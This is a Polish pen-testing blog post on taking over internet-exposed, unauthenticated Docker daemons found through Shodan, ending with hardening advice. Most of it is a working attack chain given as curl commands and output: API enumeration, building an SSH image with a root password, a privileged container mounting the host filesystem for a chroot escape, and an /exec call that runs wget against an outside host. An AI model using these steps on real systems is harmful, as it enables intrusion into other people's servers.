Kroniki Shodana: Docker cz.I
Napisał: Patryk Krawaczyński
16/03/2020 w Pen Test Brak komentarzy. (artykuł nr 726, ilość słów: 5047)
D
ocker jako jedno z rozwiązań dla tworzenia kontenerów zyskał ogromną popularność w ciągu kilku ostatnich lat i stał się nowym sposobem pakowania, dostarczania i wdrażania aplikacji. Niestety, jeśli dana technologia się szybko rozwija i jest szeroko adoptowana przez społeczność, staje się również cennym celem dla adwersarzy. Na początku pojawiły się złośliwe obrazy. Były one umieszczane w publicznych rejestrach. Jeśli użytkownik sam lub za namową cyberprzestępcy skłonił się do skorzystania z takiego obrazu w rzeczywistości pobierał i wykonywał złośliwe ładunki (np. koparki kryptowalut), umożliwiał wejście przez tylną furtkę (ang. backdoor), przeszukiwanie logów dla poufnych informacji, czy dostęp do systemu plików hosta z kontenera.
Błędne konfiguracje:
Daemon procesu Docker działający w tle systemu odpowiedzialny jest za zarządzanie kontenerami na danym hoście. Jest to samowystarczalne środowisko wykonawcze, które zarządza takimi obiektami jak: obrazy, kontenery, sieć i pamięć masowa. Może również nasłuchiwać na wybranym interfejsie żądań typu REST, aby wykonywać szereg operacji na kontenerach. Ponieważ architektura Dockera to: klient – serwer aplikacje lub użytkownicy zwykle używają klienta (docker
) do uwierzytelniania i interakcji z daemonem (dockerd
). Daemon może również komunikować się z innymi daemonami, jeśli wiele hostów jest zarządzanych jako usługa lub klaster (swarm). Domyślnie daemon Dockera tworzy gniazdo Unix w ścieżce /var/run/docker.sock i dostęp do niego może uzyskać tylko użytkownik z uprawnieniami administratora (root
) lub członek grupy docker
. Dla przypomnienia: gniazda Unix służą do IPC (ang. Interprocess Communication), czyli komunikacji między procesami. Unix Domain Sockets (UDS) używają lokalnego systemu plików do komunikacji, podczas gdy gniazda IP korzystają z sieci. To sprawia, że gniazda Unix są szybsze, ale z drugiej strony są one ograniczone tylko do komunikacji lokalnej. Dlatego jeśli klient musi uzyskać zdalny dostęp do daemona Docker może otworzyć gniazdo TCP i nasłuchiwać na porcie 2375 żądań REST. W standardowej konfiguracji gniazdo TCP zapewnia niezaszyfrowany i nieuwierzytelniony dostęp do daemona Docker. Ponieważ konfiguracja TLS może być skomplikowana, użytkownicy czasami popełniają błędy i nieumyślnie wystawiają niezabezpieczone daemony dla całego internetu. Jeśli dzisiaj spojrzymy na Shodana to będziemy mogli zdobyć adresy ~4.500 serwerów, z czego do części z nich (10% – 15%) można uzyskać dostęp bez żadnego uwierzytelniania.
Wszystkie metody API:
Jeśli daemon Dockera jest dostępny publicznie i nie wymaga żadnego uwierzytelniania – można wykonać na nim wszystkie metody API. Na przykład zaczynając od uzyskania informacji:
curl http://XXX.XXX.XXX.XXX:2375/info
{ "ID":"3Q6E:Q4EX:GHIV:MVGM:PQZT:TYWJ:PL7Y:T5JZ:EPLC:QETQ:IUVY:IW3E", "Containers":12, "ContainersRunning":2, "ContainersPaused":0, "ContainersStopped":10, "Images":20, "Driver":"overlay2", "DriverStatus":[ [ "Backing Filesystem", "extfs" ], [ "Supports d_type", "true" ], [ "Native Overlay Diff", "true" ] ], "SystemStatus":null, "Plugins":{ "Volume":[ "local" ], "Network":[ "bridge", "host", "macvlan", "null", "overlay" ], "Authorization":null, "Log":[ "awslogs", "fluentd", "gcplogs", "gelf", "journald", "json-file", "logentries", "splunk", "syslog" ] }, "MemoryLimit":true, "SwapLimit":true, "KernelMemory":true, "CpuCfsPeriod":true, "CpuCfsQuota":true, "CPUShares":true, "CPUSet":true, "IPv4Forwarding":true, "BridgeNfIptables":false, "BridgeNfIp6tables":false, "Debug":false, "NFd":38, "OomKillDisable":true, "NGoroutines":59, "SystemTime":"2020-01-15T05:15:20.006745587+09:00", "LoggingDriver":"json-file", "CgroupDriver":"cgroupfs", "NEventsListener":0, "KernelVersion":"4.14.0.x", "OperatingSystem":"", "OSType":"linux", "Architecture":"x86_64", "IndexServerAddress":"https://index.docker.io/v1/", "RegistryConfig":{ "AllowNondistributableArtifactsCIDRs":[ ], "AllowNondistributableArtifactsHostnames":[ ], "InsecureRegistryCIDRs":[ "127.0.0.0/8" ], "IndexConfigs":{ "docker.io":{ "Name":"docker.io", "Mirrors":[ ], "Secure":true, "Official":true } }, "Mirrors":[ ] }, "NCPU":2, "MemTotal":1992282112, "GenericResources":null, "DockerRootDir":"/volume1/.@plugins/AppCentral/docker-ce/docker_lib", "HttpProxy":"", "HttpsProxy":"", "NoProxy":"", "Name":"XEROX-i486", "Labels":[ ], "ExperimentalBuild":false, "ServerVersion":"18.06.3-ce", "ClusterStore":"", "ClusterAdvertise":"", "Runtimes":{ "runc":{ "path":"docker-runc" } }, "DefaultRuntime":"runc", "Swarm":{ "NodeID":"", "NodeAddr":"", "LocalNodeState":"inactive", "ControlAvailable":false, "Error":"", "RemoteManagers":null }, "LiveRestoreEnabled":false, "Isolation":"", "InitBinary":"docker-init", "ContainerdCommit":{ "ID":"468a545b9edcd5932818eb9de8e72413e616e86f", "Expected":"468a545b9edcd5932818eb9de8e72413e616e86f" }, "RuncCommit":{ "ID":"a592beb5bc4c4092b1b1bac971afed27687340c7", "Expected":"a592beb5bc4c4092b1b1bac971afed27687340c7" }, "InitCommit":{ "ID":"ffc3654", "Expected":"ffc3654" }, "SecurityOptions":[ "name=seccomp,profile=default" ] }
curl http://XXX.XXX.XXX.XXX:2375/containers/json
[ { "Id":"ec12af44e3f930106e5ed75f87b3c066d47d74a8ddc77ccfde3f62ffb0d154a3", "Names":[ "/naughty" ], "Image":"ubuntu:14.04", "ImageID":"sha256:72300a873c2ca11c70d0c8642177ce76ff69ae04d61a5813ef58d40ff66e", "Command":"/bin/bash -c 'apt-get update && apt-get install; tail -f /dev/null'", "Created":1584211963, "Ports":[ ], "Labels":{ }, "State":"running", "Status":"Up 3 hours", "HostConfig":{ "NetworkMode":"default" }, "NetworkSettings":{ "Networks":{ "bridge":{ "IPAMConfig":null, "Links":null, "Aliases":null, "NetworkID":"cc632929332f1faded542c49a3a4459e0c4ca03801", "EndpointID":"23c005838ed12cb574e7e82a3def8e5c928dcb01e", "Gateway":"172.17.0.1", "IPAddress":"172.17.0.3", "IPPrefixLen":16, "IPv6Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "MacAddress":"02:42:ac:11:00:03", "DriverOpts":null } } }, "Mounts":[ ] }, { "Id":"e442dc7322e8c1077fd6300699b21fb29d7e829ca4b83023a7e9847a19f6c778", "Names":[ "/elastic" ], "Image":"elastic:latest", "ImageID":"sha256:8fcb58407aec3169e83f439a557e44d0e88296ac21d16595fed5f", "Command":"npm start", "Created":1562021167, "Ports":[ { "IP":"0.0.0.0", "PrivatePort":6881, "PublicPort":6881, "Type":"tcp" }, { "IP":"0.0.0.0", "PrivatePort":6881, "PublicPort":6881, "Type":"udp" }, { "IP":"0.0.0.0", "PrivatePort":9000, "PublicPort":9001, "Type":"tcp" } ], "Labels":{ }, "State":"running", "Status":"Up 3 weeks", "HostConfig":{ "NetworkMode":"default" }, "NetworkSettings":{ "Networks":{ "bridge":{ "IPAMConfig":null, "Links":null, "Aliases":null, "NetworkID":"cc632929332f1faded542c49a3a4459e0c4ca0380172006b9", "EndpointID":"93cae0c4493e233234e4db85b017ab54d48999622cfa15f8", "Gateway":"172.17.0.1", "IPAddress":"172.17.0.2", "IPPrefixLen":16, "IPv6Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "MacAddress":"02:42:ac:11:00:02", "DriverOpts":null } } }, "Mounts":[ { "Type":"volume", "Name":"51ecb96faa76d10a365aada2cb7dd4b9cff016a97c701daf228390", "Source":"", "Destination":"/tmp/data", "Driver":"local", "Mode":"", "RW":true, "Propagation":"" } ] } ]
curl http://XXX.XXX.XXX.XXX:2375/images/json
[ { "Containers":-1, "Created":1582323644, "Id":"sha256:72300a873c2ca11c70d0c8642177ce76ff69ae04d61a5813ef58d40ff66e3e7c", "Labels":null, "ParentId":"", "RepoDigests":[ "ubuntu@sha256:04d48df82c938587820d7b6006f5071dbbffceb7ca01d2814f81857c631" ], "RepoTags":[ "ubuntu:latest" ], "SharedSize":-1, "Size":64206117, "VirtualSize":64206117 }, { "Containers":-1, "Created":1577751656, "Id":"sha256:4532830cf15ea4b7c012c40e42340e50ff195842d95128d462857a59e572cbf3", "Labels":null, "ParentId":"", "RepoDigests":null, "RepoTags":[ "docker:latest" ], "SharedSize":-1, "Size":18834702, "VirtualSize":18834702 }, { "Containers":-1, "Created":1577395211, "Id":"sha256:6d5fcfe5ff170471fcc3c8b47631d6d71202a1fd44cf3c147e50c8de21cf0648", "Labels":null, "ParentId":"", "RepoDigests":[ "busybox@sha256:6915be4043561d64e0ab0f8f098dc2ac48e077fe23f488ac24b665166" ], "RepoTags":[ "busybox:latest" ], "SharedSize":-1, "Size":1219782, "VirtualSize":1219782 } [ ... ] ]
Inne przydatne to:
curl http://XXX.XXX.XXX.XXX:2375/containers/${id}/json curl http://XXX.XXX.XXX.XXX:2375/containers/${id}/top curl http://XXX.XXX.XXX.XXX:2375/containers/${id}/logs?stdout=true curl http://XXX.XXX.XXX.XXX:2375/containers/${id}/logs?stderr=true curl http://XXX.XXX.XXX.XXX:2375/containers/${id}/changes curl http://XXX.XXX.XXX.XXX:2375/containers/${id}/export curl http://XXX.XXX.XXX.XXX:2375/volumes curl http://XXX.XXX.XXX.XXX:2375/swarm curl http://XXX.XXX.XXX.XXX:2375/events curl http://XXX.XXX.XXX.XXX:2375/version
Za pomocą tych wszystkich metod możemy uzyskać informacje pozwalające nam na przejęcie hosta, na którym jest uruchomiony daemon Dockera. Na początek możemy zatrzymać wybrany kontener, aby zrobić miejsce na uruchomienie naszego obrazu (oczywiście aktywność ta może zostać szybko zauważona, jeśli procesy uruchomione na kontenerze wskazują jakieś “produkcyjne” działania – dlatego krok ten jest wyłączenie w celu demonstracyjnym):
curl -v -XPOST XXX.XXX.XXX.XXX:2375/containers/ec13af44e/stop
* Trying XXX.XXX.XXX.XXX... * TCP_NODELAY set * Connected to XXX.XXX.XXX.XXX (XXX.XXX.XXX.XXX) port 2375 (#0) > POST /containers/ec13af44e/stop HTTP/1.1 > Host: XXX.XXX.XXX.XXX:2375 > User-Agent: curl/7.64.1 > Accept: */* > < HTTP/1.1 204 No Content < Api-Version: 1.38 < Docker-Experimental: false < Ostype: linux < Server: Docker/18.06.3-ce (linux) < Date: Sat, 14 Mar 2020 22:17:53 GMT < * Connection #0 to host XXX.XXX.XXX.XXX left intact * Closing connection 0
Przy wysyłaniu żądań warto zwrócić na wersję API (1.38) wówczas możemy odwołać się do tej samej wersji w dokumentacji, co umożliwi nam używanie metod, które są w pełni obsługiwane przez uruchomioną wersję Dockera (18.06.3-ce). Po zatrzymaniu konternera możemy sprawdzić ponownie /info, aby przekonać się, że wartość ContainersRunning
spadła o jeden. Skoro możemy zatrzymywać, startować, restartować i zabijać dowolne kontenery – to również możemy spreparować i uruchomić dowolny obraz, który uruchomi i wystawi usługę SSH oraz pozwoli się na zalogowanie do kontenera itd.
Wstrzyknięcie obrazu kontenera:
W celu uruchomienia naszego kontenera na podatnym daemonie musimy na początku zbudować obraz. Nie musi to być nic wyrafinowanego – zdalny dostęp do SSH w zupełności wystarczy. Z pomocą przychodzi przykład z oficjalnej strony:
FROM ubuntu:16.04 RUN apt-get update && apt-get install -y openssh-server RUN mkdir /var/run/sshd RUN echo 'root:THEPASSWORDYOUCREATED' | chpasswd RUN sed -i 's/PermitRootLogin prohibit-password/PermitRootLogin yes/' \ /etc/ssh/sshd_config RUN sed -i 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' \ /etc/pam.d/sshd ENV NOTVISIBLE "in users profile" RUN echo "export VISIBLE=now" >> /etc/profile EXPOSE 22 CMD ["/usr/sbin/sshd", "-D"]
Tak przygotowany plik zapisujemy jako Dockerfile
. Następnie musimy dodać go do archiwum tar i przesłać na endpoint API:
tar -cvf Dockerfile.tar Dockerfile curl -v -XPOST -H "Content-Type:application/tar" \ "http://XXX.XXX.XXX.XXX:2375/build?t=api_notsecure" --data-binary "@Dockerfile.tar"
* Trying XXX.XXX.XXX.XXX... * TCP_NODELAY set * Connected to XXX.XXX.XXX.XXX (XXX.XXX.XXX.XXX) port 2375 (#0) > POST /build?t=api_notsecure HTTP/1.1 > Host: XXX.XXX.XXX.XXX:2375 > User-Agent: curl/7.64.1 > Accept: */* > Content-Type:application/tar > Content-Length: 3072 > Expect: 100-continue > < HTTP/1.1 100 Continue * We are completely uploaded and fine < HTTP/1.1 200 OK < Api-Version: 1.38 < Content-Type: application/json < Docker-Experimental: false < Ostype: linux < Server: Docker/18.06.3-ce (linux) < Date: Sun, 15 Mar 2020 14:39:52 GMT < Transfer-Encoding: chunked < {"stream":"Step 1/10 : FROM ubuntu:16.04"} {"stream":"\n"} ... {"stream":" ---\u003e Using cache\n"} {"stream":" ---\u003e 59ab1d28d8f4\n"} {"stream":"Step 10/10 : CMD [\"/usr/sbin/sshd\", \"-D\"]"} {"stream":"\n"} {"stream":" ---\u003e Using cache\n"} {"stream":" ---\u003e 89f93a05b3bd\n"} {"aux":{"ID":"sha256:89f93a05b3bdbb01e293f0c0247d2c2a1c523d5e0c934a0531b996163771292d"}} {"stream":"Successfully built 89f93a05b3bd\n"} {"stream":"Successfully tagged api_notsecure:latest\n"} * Connection #0 to host XXX.XXX.XXX.XXX left intact * Closing connection 0
Na liście obrazów (GET /images/json
) powinien pojawić się nasz obraz:
{ "Containers":-1, "Created":1584283126, "Id":"sha256:89f93a05b3bdbb01e293f0c0247d2c2a1c523d5e0c934a0531b996163771292d", "Labels":null, "ParentId":"sha256:59ab1d28d8f4944aef4f833b7f3cc584fb7d52ef0c586839877e5e97677e61a6", "RepoDigests":null, "RepoTags":[ "api_notsecure:latest" ], "SharedSize":-1, "Size":204516425, "VirtualSize":204516425 }
Ucieczka z Dockera:
Posiadając wgrany obraz na serwer Dockera możemy teraz spreparować kontener w taki sposób, aby umożliwił nam on ucieczkę z Dockera do hosta – serwera wirtualnego lub fizycznego (czyli “poziom wyżej”). Do osiągnięcia tego kroku tworzymy plik takeover.json:
{ "Image": "api_notsecure:latest", "ExposedPorts": { "22/tcp": {} }, "HostConfig": { "PortBindings": { "22/tcp": [ { "HostPort": "" } ] }, "Binds": [ "/proc:/host/proc", "/sys:/host/sys", "/:/rootfs" ], "Privileged": true, "CapAdd": [ "ALL" ] } }
Dzięki zawartości tego pliku stworzymy uprzywilejowany kontener montując ścieżki z hosta, na którym uruchomiony jest daemon Dockera i wystawimy prywatny port SSH (22) na publiczny, którego numer zostanie nam przyznany po uruchomieniu kontenera:
curl -v -XPOST -H "Content-Type: application/json" \ http://XXX.XXX.XXX.XXX:2375/containers/create -d @takeover.json
* Trying XXX.XXX.XXX.XXX... * TCP_NODELAY set * Connected to XXX.XXX.XXX.XXX (XXX.XXX.XXX.XXX) port 2375 (#0) > POST /containers/create HTTP/1.1 > Host: XXX.XXX.XXX.XXX > User-Agent: curl/7.64.1 > Accept: */* > Content-Type: application/json > Content-Length: 300 > * upload completely sent off: 300 out of 300 bytes < HTTP/1.1 201 Created < Api-Version: 1.38 < Content-Type: application/json < Docker-Experimental: false < Ostype: linux < Server: Docker/18.06.3-ce (linux) < Date: Sun, 15 Mar 2020 21:36:17 GMT < Content-Length: 88 < {"Id":"d817d65e986","Warnings":[]} * Connection #0 to host XXX.XXX.XXX.XXX left intact * Closing connection 0
Startujemy kontener stworzony na bazie naszego obrazu i konfiguracji:
curl -v -XPOST http://XXX.XXX.XXX.XXX:2375/containers/d817d65e986/start
* Trying XXX.XXX.XXX.XXX... * TCP_NODELAY set * Connected to XXX.XXX.XXX.XXX (XXX.XXX.XXX.XXX) port 2375 (#0) < POST /containers/d817d65e986/start HTTP/1.1 < Host: XXX.XXX.XXX.XXX:2375 < User-Agent: curl/7.64.1 < Accept: */* < > HTTP/1.1 204 No Content > Api-Version: 1.38 > Docker-Experimental: false > Ostype: linux > Server: Docker/18.06.3-ce (linux) > Date: Sun, 15 Mar 2020 21:37:37 GMT > * Connection #0 to host XXX.XXX.XXX.XXX left intact * Closing connection 0
Wyświetlając uruchomione kontenery (GET /containers/json
) możemy odczytać publiczny port przyznany dla usługi SSH naszego kontenera:
... "Ports":[ { "IP":"0.0.0.0", "PrivatePort":22, "PublicPort":32769, "Type":"tcp" } ], ...
Próbujemy teraz połączyć się z serwerem SSH kontenera logując się na użytkownika: root oraz hasła: THEPASSWORDYOUCREATED. Jeśli połączenie będzie możliwe i uda nam zalogować się to za pomocą polecenia chroot
będziemy w stanie z poziomu kontenera dostać się do systemu plików hosta, który został zamontowany w ścieżce /rootfs
:
$ ssh XXX.XXX.XXX.XXX -v -l root -p 32769 root@9c29896c6a7a:~# cat /etc/hostname 9c29896c6a7a root@9c29896c6a7a:~# chroot /rootfs bash-4.3# cat /etc/hostname dockerhost bash-4.3# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 9c29896c6a7a api_notsecure "sshd -D" 11 minutes ago Up 10 minutes 32769->22/tcp bfc14cb6e5a5 ubuntu "bash -c" 8 hours ago Up 8 hours b47038343adb busybox "sh" 9 hours ago Up 9 hours bash-4.3# ls -al /var/run | grep docker drwx------ 6 root root 140 Mar 15 19:20 docker -rw-r--r-- 1 root root 4 Mar 15 19:19 docker.pid srw-rw---- 1 root root 0 Mar 15 19:19 docker.sock
Sposób z wystawieniem usługi nawet na wysokim porcie może być bardzo utrudniony szczególnie w środowiskach publicznych chmur obliczeniowych. Bardzo często są one chronione zaporą, a komunikacja do nich jest ograniczona do wybranych portów. Wówczas zamiast podejmować próby uruchomienia usługi, która umożliwia zdalne logowanie lepiej jest od razu zainwestować w powłokę zwrotną, która z poziomu kontenera Dockera nawiążę łączność z naszą maszyną. Warto jeszcze wspomnieć o opcji NetworkMode
, którą możemy dodać do pliku takeover.json i ustawić na wartość host
.
Kompromitacja jednego kontenera:
Istnieje również prostszy sposób na przejęcie kontenera bez budowy obrazu. Szczególnie kiedy na serwerze działają już jakieś kontenery. Możemy wykonać na nich określone przez nas polecenia za pomocą metody /exec, co jest równe z poleceniem: docker exec
. Na początek tworzymy plik exec.json, w którym umieścimy szczegóły naszego polecenia:
{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Tty": true, "Cmd": [ "/bin/bash", "-c", "wget https://nfsec.pl/exec_test" ] }
Następnie tworzymy nową instancję polecenia, aby później ją wystartować:
curl -v -H 'Content-Type: application/json' \ -XPOST XXX.XXX.XXX.XXX:2375/containers/89ff67/exec -d @exec.json
* Trying XXX.XXX.XXX.XXX... * TCP_NODELAY set * Connected to XXX.XXX.XXX.XXX (XXX.XXX.XXX.XXX) port 2375 (#0) > POST /containers/89ff67/exec HTTP/1.1 > Host: XXX.XXX.XXX.XXX:2375 > User-Agent: curl/7.64.1 > Accept: */* > Content-Type: application/json > Content-Length: 171 > * upload completely sent off: 171 out of 171 bytes < HTTP/1.1 201 Created < Api-Version: 1.38 < Content-Type: application/json < Docker-Experimental: false < Ostype: linux < Server: Docker/18.06.3-ce (linux) < Date: Sat, 14 Mar 2020 23:24:52 GMT < Content-Length: 74 < {"Id":"dba2bacf46010"}
Zwrócony Id musimy teraz wykorzystać przy wystartowaniu polecenia:
curl -v -H 'Content-Type: application/json' -XPOST \ XXX.XXX.XXX.XXX:2375/exec/dba2bacf46010/start -d '{ "Detach":false, "Tty":false }' \ -o exec.txt
Trying XXX.XXX.XXX.XXX... * TCP_NODELAY set * Connected to XXX.XXX.XXX.XXX (XXX.XXX.XXX.XXX) port 2375 (#0) > POST /exec/dba2bacf46010/start HTTP/1.1 > Host: XXX.XXX.XXX.XXX:2375 > User-Agent: curl/7.64.1 > Accept: */* > Content-Type: application/json > Content-Length: 31 > * upload completely sent off: 31 out of 31 bytes < HTTP/1.1 200 OK < Content-Type: application/vnd.docker.raw-stream < Api-Version: 1.38 < Docker-Experimental: false < Ostype: linux < Server: Docker/18.06.3-ce (linux) * no chunk, no close, no size. Assume close to signal end < 100 411 0 380 100 31 120 9 0:00:03 0:00:03 --:--:-- 130 * Closing connection 0
Jeśli polecenie zostało poprawnie wykonane powinniśmy w pliku exec.txt otrzymać jego wynik:
--2020-03-14 23:25:14-- https://nfsec.pl/exec_test Resolving nfsec.pl (nfsec.pl)... [YYY.YYY.YYY.YYY] Connecting to nfsec.pl (nfsec.pl)|YYY.YYY.YYY.YYY|:443...connected. HTTP request sent, awaiting response... 404 Not Found +2020-03-14 23:25:16 ERROR 404: Not Found.
A po stronie maszyny używanej do ataku zobaczyć wpis w logu:
[15/Mar/2020:00:22:27 +0100] "GET /exec_test HTTP/1.1" 404 3591 "-" "Wget/1.19.4"
Posiadając dostęp do narzędzia wget możemy napisać oraz wystawić publicznie skrypt, który zostanie ściągnięty na kontener i wykona dla nas szereg dowolnych instrukcji w celu przejęcia kontenera.
Bonus:Gdyby kiedykolwiek przyszło nam do głowy wystawienie gniazda Unix daemona Docker wewnątrz kontenera, aby móc wydawać mu polecenia:
docker run -v /var/run/docker.sock:/var/run/docker.sock -ti docker
To musimy mieć świadomość, że wówczas z poziomu tego samego kontera jesteśmy w stanie stworzyć nowy, który umożliwi nam ucieczkę z Dockera (analogicznie jak to miało miejsce wyżej tylko teraz w wersji z linii poleceń):
sudo docker -H unix:///var/run/docker.sock pull ubuntu:latest sudo docker -H unix:///var/run/docker.sock run -d -it --name takeover \ -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host \ --privileged=true --cap-add=ALL ubuntu:latest sudo docker -H unix:///var/run/docker.sock start takeover sudo docker -H unix:///var/run/docker.sock exec -it takeover /bin/bash chroot /rootfs
Podsumowanie:
Wszystkie te nadużycia były możliwe ze względu na przypadkowe udostępnienie niezabezpieczonego daemona Dockera w internecie. Jeśli zależy nam na bezpieczeństwie tego rozwiązania należy pamiętać, aby: nie uruchamiać kontenerów w trybie uprzywilejowanym, ponieważ można z nich uciec lub wykorzystać do eskalacji uprawnień; mechanizm TLS wraz z uwierzytelnianiem powinien być używany zawsze w publicznej komunikacji; jeśli używamy gniazd Unix do komunikacji lokalnej to pomiędzy serwerami możemy wspomagać się SSH do wydawania poleceń daemonowi Dockera; tylko określona przestrzeń adresów IP powinna posiadać dostęp do serwera Docker; w celu pobierania tylko zweryfikowanych obrazów należy używać Docker Content Trust; skanować używane obrazy do budowy kontenerów pod kątem podatności i szkodliwego oprogramowania; regularnie przebudowywać obrazy, aby nakładać na nie poprawki bezpieczeństwa.
Więcej informacji: Używanie dockera by przejąć hosta serwera – eskalacja uprawnień?, Nawet jak developujesz używaj sudo dla dockera, The Dangers of Docker.sock, Attacker’s Tactics and Techniques in Unsecured Docker Daemons Revealed, A custom Cloud Shell image